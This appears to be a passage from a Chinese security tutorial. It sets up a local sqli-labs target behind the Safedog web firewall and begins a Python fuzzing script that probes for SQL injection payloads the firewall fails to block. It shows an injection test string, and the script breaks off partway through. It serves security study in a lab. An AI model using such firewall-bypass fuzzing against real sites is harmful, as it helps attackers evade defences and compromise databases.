原创: Naivete 合天智汇
目录
1.mysqlsql注入
2.环境搭建
3.fuzz脚本编写
4.嵌入到sqlmap的tamper脚本
能力有限,仅以sql注入为例子(其中以某学长的提醒,某行嘉宾前辈的课程和讲解为基础,以网上前辈各大博客为拓展写出此文)
5.总结
1. mysql sql注入
略。
2. 环境搭建
这里详细说下,坑有些,浪费时间性价比不高
1
某狗下载
http://free.safedog.cn/website_safedog.html某狗的下载(注意是apache4.0版本),作者这里如果下的服务器版本再在里面下apache软件出错
2
phpstudy2016下载
http://mydown.yesky.com/pcsoft/467336.html
3
安装
第一,二步,要系统服务某狗才能识别网站
第三步,去github上下个sqli-labs当靶机源码
第一步,把ip黑名单关了
第二步,把各种资源防护关了,只留http防护
4
简单验证环境
- url?id= 1’ and 1=1--+ 触发 某狗的and语句条件预警,被拦截
2. 我们看下能不能用requests进行访问请求,看返回包里存在”网站防火墙字样”说明是成功的(这是我们进行判断语句是否绕过waf的基础)
提醒一下,可能是因为访问请求过大,作者中途发现requests请求不到内容,重启虚拟机就好了,所以专门提出来
4. fuzz脚本编写
1
如何编写
这里,利用网上的流传甚广的内联(作者也只会这个)
fuzz出,意思就是绕过正则匹配
这里作者只进行两个语句的fuzz
其中url="http://192.168.37.132/sqli-labs-master/Less-1/?id=1"
当然还有bool 时间 等等注入的fuzz,字典字符的顺序和字符在语句中位置很重要,很重要,很重要(重要事情说三遍)
2
附上脚本
# -*- coding:UTF-8 -*-
import requests
import time
from concurrent.futures import ThreadPoolExecutor,ProcessPoolExecutor
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
MAX_JOBS_IN_QUEUE = 1000
def request_url(url):
s=requests.get(url).text
if "网站防火墙" not in s:
#print "no:"+url
if "Your Login name" in s:
print url
with open("a.txt